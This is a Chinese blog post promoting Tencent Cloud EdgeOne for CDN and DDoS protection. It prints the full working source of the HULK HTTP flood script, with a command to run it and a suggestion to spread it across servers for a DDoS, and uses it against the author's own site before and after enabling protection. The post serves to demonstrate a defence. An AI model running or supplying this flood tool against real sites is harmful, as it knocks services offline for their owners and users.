腾讯云Edgeone为我的网站保驾护航

news2024/9/19 10:35:30

文章目录

  • 前言
  • 边缘安全加速平台介绍
  • 模拟网站被攻击
    • 攻击脚本
    • 攻击脚本执行
  • 网站快速接入 EdgeOne
    • 前提条件(注意事项)
    • 添加站点
    • 添加加速域名
  • EdgeOne 防护效果
  • EdgeOne 体验感受
  • 总结

前言

众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。

本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。

边缘安全加速平台介绍

边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。

一张图看懂EdgeOne是什么。

EdgeOne
如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。

简单来讲,EdgeOne 就是CDN和高仿服务器的结合体

更详细的介绍可以移步至官网。

模拟网站被攻击

在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。

攻击脚本

这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。

仅用于学习和教育目的,不应该用于任何非法或不道德的活动。

import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
	global request_counter
	request_counter+=1

def set_flag(val):
	global flag
	flag=val

def set_safe():
	global safe
	safe=1
	
# generates a user agent array
def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)

# generates a referer array
def referer_list():
	global headers_referers
	headers_referers.append('http://www.google.com/?q=')
	headers_referers.append('http://www.usatoday.com/search/results?q=')
	headers_referers.append('http://engadget.search.aol.com/search?q=')
	headers_referers.append('http://' + host + '/')
	return(headers_referers)
	
#builds random ascii string
def buildblock(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str += chr(a)
	return(out_str)

def usage():
	print '---------------------------------------------------'
	print 'USAGE: python hulk.py <url>'
	print 'you can add "safe" after url, to autoshut after dos'
	print '---------------------------------------------------'

	
#http request
def httpcall(url):
	useragent_list()
	referer_list()
	code=0
	if url.count("?")>0:
		param_joiner="&"
	else:
		param_joiner="?"
	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
	request.add_header('User-Agent', random.choice(headers_useragents))
	request.add_header('Cache-Control', 'no-cache')
	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
	request.add_header('Keep-Alive', random.randint(110,120))
	request.add_header('Connection', 'keep-alive')
	request.add_header('Host',host)
	try:
			urllib2.urlopen(request)
	except urllib2.HTTPError, e:
			#print e.code
			set_flag(1)
			print 'Response Code 500'
			code=500
	except urllib2.URLError, e:
			#print e.reason
			sys.exit()
	else:
			inc_counter()
			urllib2.urlopen(request)
	return(code)		

	
#http caller thread 
class HTTPThread(threading.Thread):
	def run(self):
		try:
			while flag<2:
				code=httpcall(url)
				if (code==500) & (safe==1):
					set_flag(2)
		except Exception, ex:
			pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
	def run(self):
		previous=request_counter
		while flag==0:
			if (previous+100<request_counter) & (previous<>request_counter):
				print "%d Requests Sent" % (request_counter)
				previous=request_counter
		if flag==2:
			print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
	usage()
	sys.exit()
else:
	if sys.argv[1]=="help":
		usage()
		sys.exit()
	else:
		print "-- HULK Attack Started --"
		if len(sys.argv)== 3:
			if sys.argv[2]=="safe":
				set_safe()
		url = sys.argv[1]
		if url.count("/")==2:
			url = url + "/"
		m = re.search('http\://([^/]*)/?.*', url)
		host = m.group(1)
		for i in range(500):
			t = HTTPThread()
			t.start()
		t = MonitorThread()
		t.start()

攻击脚本执行

在脚本目录执行 python hulk.py http://www.xxx.xx 对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)

可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。

此时我的服务器监控是这样的。

网站快速接入 EdgeOne

接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。

前提条件(注意事项)

在接入EdgeOne之前,有两个注意事项:

  1. 域名要先备案,否则无法接入。如果没有备案的前往域名备案处,备案时长大概2~3天。
  2. 如果是阿里云的域名,需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。

一定要注意!!!

添加站点

在进入EdgeOne控制台后添加一个站点,如下图。

添加站点
输入站点名称,填写域名即可。
站点名称
选择EdgeOne套餐,这里已经购买,直接选择。
套餐

接下来选择加速区和接入模式。

这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。

选择加速区和接入模式
最后将DNS解析添加至域名解析处,验证完成即可。

验证

添加加速域名

站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:

1.进入站点添加域名。

添加

2.配置域名

这里的配置项简单说明一下:

加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。
源站配置:配置你的服务器IP。
IPv6 访问:根据自己的需求配置。
回源协议:根据自己的需求配置。
回源端口:根据自己的需求配置。

配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。

最后,在云解析DNS按照下图中配置添加解析记录。

EdgeOne 防护效果

现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。

再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。

这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。

这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。


此时,再次执行脚本,就会发现网站已经起到防护效果。

当然,EdgeOne支持多种防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。还有各种组合配置可以移步 边缘安全加速平台 EO > 安全防护。

EdgeOne 体验感受

经过本次实践,EdgeOne给我留下了以下几点深刻的感受:

  1. EdgeOne实现的安全防护与加速一体化功能,明显提升了产品的性能和用户接受度,企业无需再分别采购CDN、DDoS等独立服务,大大简化了企业的选择与部署流程。
  2. 在配置方面,EdgeOne提供了全站一键配置,用户只需通过简单的操作即可实现全局配置,不用进行繁琐的手动设置,大大简化了配置流程,对于用户来说,提高了产品的易用性。
  3. 特别关注了EdgeOne的计费模式,发现EdgeOne在计费方面有一定的优势,如“干净流量”计费模式。也就是说,以后网站的安全防护、加速成本会大大的降低。

总结

在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795046.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

inBuilder 低代码平台新特性推荐 - 第二十期

今天来给大家带来的是 inBuilder 低代码平台特性推荐系列第二十期——菜单导航模式个性化示例。 场景介绍 目前平台提供了四种菜单导航模式&#xff0c;包括分组视图、列表视图、横向视图、平铺视图&#xff0c;均为横向导航&#xff0c;这些也是主流的菜单导航模式。 在某些…

UML实现图-组件图

概述 组件图(ComponentDiagram)描述了软件的各种组件和它们之间的依赖关系。组件图中通常包含4种元素:组件、程序、包、任务&#xff0c;各个组件之间还可以相互依赖。 一、组件的表示法 组件是定义了良好接口的物理实现单元&#xff0c;是系统中可替换的物理部件。在一般情…

JAVA-学习-2

一、类 1、类的定义 把相似的对象划分了一个类。 类指的就是一种模板&#xff0c;定义了一种特定类型的所有对象的属性和行为 在一个.java的问题件中&#xff0c;可以有多个class&#xff0c;但是智能有一个class是用public的class。被声明的public的class&#xff0c;必须和文…

AdSet通过审核并入驻全国SDK管理服务平台

SDK、API、H5是三种常见的APP广告接入方式&#xff0c;目前市面上使用最广泛的还是SDK对接&#xff0c;通过使用广告SDK&#xff0c;App开发者可以在App中展示广告商投放的广告&#xff0c;进而根据用户的点击赚取收益。具备一定规模流量、想快速获得收益的APP开发者都会考虑接…

创新实训2024.06.06日志:部署web服务

1. 运行web项目前后端服务 首先我们要先在服务器上运行客户端以及服务端的应用程序。随后再考虑如何通过公网/局域网访问的问题。 如何启动服务在仓库对应分支下的Readme文件中已经有详细描述了。 1.1. 启动服务端 对于服务端&#xff0c;即&#xff08;要求你在服务端子项…

知了汇智携手数字经济商会,共促物联网鸿蒙产教融合新篇章

5月31日&#xff0c;由成都市数字经济商会主办&#xff0c;华为技术有限公司协办&#xff0c;成都知了汇智科技有限公司及成都市数字经济商会人才专委会共同承办的“产教融合物联网鸿蒙人才交流”大会在成都天府软件园产教融合基地隆重举办。 会议旨在加速四川省鸿蒙技术产业的…

chat4-Server端保存聊天消息到mysql

本文档描述了Server端接收到Client的消息并转发给所有客户端或私发给某个客户端 同时将聊天消息保存到mysql 服务端为当前客户端创建一个线程&#xff0c;此线程接收当前客户端的消息并转发给所有客户端或私发给某个客户端同时将聊天消息保存到mysql 本文档主要总结了将聊天…

VUE3 学习笔记(11):vue-router路由要懂的知识点

在前后端没有分离之前&#xff0c;大家通常采用的MVC模式&#xff0c;由后端通过Controller层实现页面跳转&#xff0c;VUE是组件化的特点&#xff0c;说白了就是一个单页面应用&#xff08;挂载在public/index.html&#xff09;&#xff0c;意味着所有的页面只是各组件的组合。…

关于按键消抖方法—软件消抖

在设计单片机按键输入的时候&#xff0c;进行按键消抖是防止按键输入被CPU误读多次的必要手段。 一、按键消抖方法&#xff08;软件&#xff09; 如果按键较多的情况下&#xff0c;常用软件方法消抖 &#xff08;1&#xff09;延时消抖&#xff08;延时函数按键消抖&#xf…

24 - 查询近30天活跃用户数(高频 SQL 50 题基础版)

24 - 查询近30天活跃用户数 排序和分组 -- 日期相减 date_sub(2019-07-27, interval 30 day)获取新的日期 -- 日期范围 datediff(2019-07-27,activity_date)<30-- where activity_date > date_sub(2019-07-27, interval 30 day) -- and activity_date < 2019-07…

网络编程(八)

网络编程&#xff08;八&#xff09; 数据库数据库的分类基于嵌入式的数据库什么是SQLite?为什么使用SQLite?sqlite3数据库的安装 sqlite3中的点命令.open 数据库文件名字.tables [数据库文件名].schema 表名.database.quit.head on.mode column SQLite数据库中的数据类型SQL…

数据库MongoDB详解

文章目录 入门指南1. 安装 MongoDB2. 启动 MongoDB 服务3. 连接到 MongoDB4. 创建数据库和集合5. CRUD 操作6. 索引7. 备份与恢复 不同场景下的应用方式&#xff1a;应用案例展示 入门指南 MongoDB 是一个基于分布式文件存储的非关系型数据库&#xff08;NoSQL&#xff09;&am…

uniapp3步使用goeasy完成本地消息推送

1.注册登录goeasy&#xff0c;下载测试demo 2.替换demo中main.js中的key 3.打包一个H5&#xff0c;一个自定义基座。 h5发消息&#xff0c;app收消息&#xff0c;然后创建消息通知就好了。记得打开app的消息通知 demo很简单&#xff0c;demo都跑通了&#xff0c;在搬到自己项目…

OZON海关税费是多少,OZON要交关税吗

在跨境电商领域&#xff0c;OZON作为俄罗斯知名的电商平台&#xff0c;吸引了众多国内外商家的目光。然而&#xff0c;当商家考虑在OZON平台上开展业务时&#xff0c;一个不可回避的问题就是海关税费和关税问题。本文将详细探讨OZON海关税费的相关内容&#xff0c;帮助商家更好…

【时间复杂度】定义与计算方法

文章目录 1.什么是时间复杂度&#xff1f;2.时间复杂度类别2.1 常量阶 O(1)2.2 对数阶 O(log n)2.3 线性阶 O(n)2.4 线性对数阶 O(n log n)2.5 平方阶 O(n^2^) 1.什么是时间复杂度&#xff1f; 时间复杂度是计算机科学中用来描述算法执行时间效率的一个概念。它表示了算法执行时…

Python中的“点阵字体”

“点阵字体”是个啥&#xff1f;&#xff0c;在python中怎么使&#xff1f;在现在全面高清的 5 G 5G 5G时代&#xff0c;它还有用“武”之地&#xff1f; (笔记模板由python脚本于2024年06月01日 18:44:31创建&#xff0c;本篇笔记适合会基本编程的coder翻阅) 【学习的细节是欢…

Vue.js 与 TypeScript(1) :项目配置、props标注类型、emits标注类型

像 TypeScript 这样的类型系统可以在编译时通过静态分析检测出很多常见错误。这减少了生产环境中的运行时错误&#xff0c;也让我们在重构大型项目的时候更有信心。通过 IDE 中基于类型的自动补全&#xff0c;TypeScript 还改善了开发体验和效率。 一、项目配置 1、在项目中添…

USB (1)

再看USB 其实回过头看USB 是可以和无线 有线(internet) 可以和PCIe 甚至AXI类比的 它们共通处在于都是communication 有限通信 有7层网络协议 在USB也是分层的 不同的协议,依赖的介质不一样 这就要求相应的Physical层处理 USB的physical层是基于Serdes的,所以有串并/并串的…

组装服务器重装linux系统【idrac集成戴尔远程控制卡】

&#x1f341;博主简介&#xff1a; &#x1f3c5;云计算领域优质创作者 &#x1f3c5;2022年CSDN新星计划python赛道第一名 &#x1f3c5;2022年CSDN原力计划优质作者 &#x1f3c5;阿里云ACE认证高级工程师 &#x1f3c5;阿里云开发者社区专…

内网安全--隧道技术代理技术

注:本文仅做技术交流,请勿非法破坏... 目录 项目: 1-Ngrok 用法 2-Frp 用法 3-Nps 用法 4-Spp 用法 工具: windows下: Proxifier(推荐~) Sockscap ccproxy Linux下: Proxychains 用法 http://t.csdnimg.cn/88Ew7 隧道技术&#xff1a;解决不出网协议上线的问…